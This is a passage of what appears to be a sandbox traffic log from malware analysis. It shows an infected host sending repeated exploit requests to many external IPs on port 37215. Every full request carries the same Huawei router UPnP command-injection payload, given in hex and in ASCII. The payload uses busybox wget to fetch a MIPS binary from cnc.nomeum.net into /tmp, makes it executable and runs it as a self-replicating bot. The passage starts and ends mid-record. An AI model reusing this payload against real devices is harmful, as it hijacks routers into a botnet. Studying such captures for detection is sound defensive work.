HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	51558	41.107.38.254	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.239993095 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	45272	41.110.52.200	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.241703987 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	43450	197.218.170.223	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.243423939 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	54068	197.146.206.253	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.245124102 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	33178	197.206.23.158	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.246870995 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	46202	197.39.77.74	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.248713017 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	41574	156.198.30.156	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.250538111 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	51760	197.119.212.153	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.252212048 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	37810	41.249.78.239	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.254122972 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	38356	156.211.166.247	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.255875111 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	41106	41.198.128.222	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:05.257457018 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 